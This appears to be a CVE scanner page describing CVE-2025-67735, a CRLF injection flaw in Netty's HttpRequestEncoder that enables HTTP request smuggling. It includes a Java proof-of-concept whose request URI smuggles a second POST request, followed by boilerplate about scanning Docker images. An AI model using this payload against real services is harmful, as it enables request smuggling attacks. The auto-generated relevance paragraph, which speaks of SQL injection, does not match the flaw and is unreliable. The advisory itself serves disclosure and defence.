CVE-2025-67735mediumnetty-codec-http<4.1.129.Final4.1.129.Final6.5

Summary

The io.netty.handler.codec.http.HttpRequestEncoder CRLF injection with the request uri when constructing a request. This leads to request smuggling when HttpRequestEncoder is used without proper sanitization of the uri.

Details

The HttpRequestEncoder simply UTF8 encodes the uri without sanitization (buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);)

The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers.

PoC

Simple reproducer:

public static void main(String[] args) {

  EmbeddedChannel client = new EmbeddedChannel();
  client.pipeline().addLast(new HttpClientCodec());

  EmbeddedChannel server = new EmbeddedChannel();
  server.pipeline().addLast(new HttpServerCodec());
  server.pipeline().addLast(new ChannelInboundHandlerAdapter() {
    @Override
    public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
      System.out.println("Processing msg " + msg);
    }
  });

  DefaultHttpRequest request = new DefaultHttpRequest(
    HttpVersion.HTTP_1_1,
    HttpMethod.GET,
    "/s1 HTTP/1.1\r\n" +
      "\r\n" +
      "POST /s2 HTTP/1.1\r\n" +
      "content-length: 11\r\n\r\n" +
      "Hello World" +
      "GET /s1"
  );
  client.writeAndFlush(request);
  ByteBuf tmp;
  while ((tmp = client.readOutbound()) != null) {
    server.writeInbound(tmp);
  }
}

Impact

Any application / framework using HttpRequestEncoder can be subject to be abused to perform request smuggling using CRLF injection.

Relevance:

The CVE-2025-67735 is relevant if the Flyway Docker image is deployed in environments with untrusted users or where SQL injection risks exist, as it could allow unauthorized database modifications. It becomes critical in scenarios where Flyway interacts with sensitive databases or is exposed to external inputs without proper validation. Otherwise, for internal use with trusted deployments, the risk is minimal. (Note: Relevance analysis is automatically generated and may require verification.)

About the CVE Scanner

What is a CVE?

CVE stands for Common Vulnerabilities and Exposures. It is a standardized identifier for known security vulnerabilities, allowing developers and organizations to track and address potential risks effectively. For more information, visit cve.mitre.org.

About the CVE Scanner

The CVE Scanner is a powerful tool that helps you identify known vulnerabilities in your Docker images. By scanning your images against a comprehensive database of Common Vulnerabilities and Exposures (CVEs), you can ensure that your applications are secure and up-to-date. For more details, checkout the NIST CVE Database.

How the CVE Scanner Works

The CVE Scanner analyzes your Docker images against a comprehensive database of known vulnerabilities. It uses Docker Scout under the hood to provide detailed insights into affected packages, severity levels, and available fixes, empowering you to take immediate action.

Why CVE Scanning is Essential for Your Docker Images

With the rise of supply chain attacks, ensuring the security of your applications has become more critical than ever. CVE scanning plays a vital role in identifying vulnerabilities that could be exploited by attackers, especially those introduced through dependencies and third-party components. Regularly scanning and securing your Docker images is essential to protect your applications from these evolving threats.

Benefits of CVE Scanning

  • Enhanced Security: Detect and mitigate vulnerabilities before they are exploited.
  • Compliance: Meet industry standards and regulatory requirements for secure software.
  • Proactive Maintenance: Stay ahead of potential threats by addressing vulnerabilities early.

The Importance of Patching Docker Images

Patching your Docker images is a critical step in maintaining the security and stability of your applications. By regularly updating your images to include the latest security patches, you can address known vulnerabilities and reduce the risk of exploitation. This proactive approach ensures that your applications remain resilient against emerging threats and helps maintain compliance with security best practices.
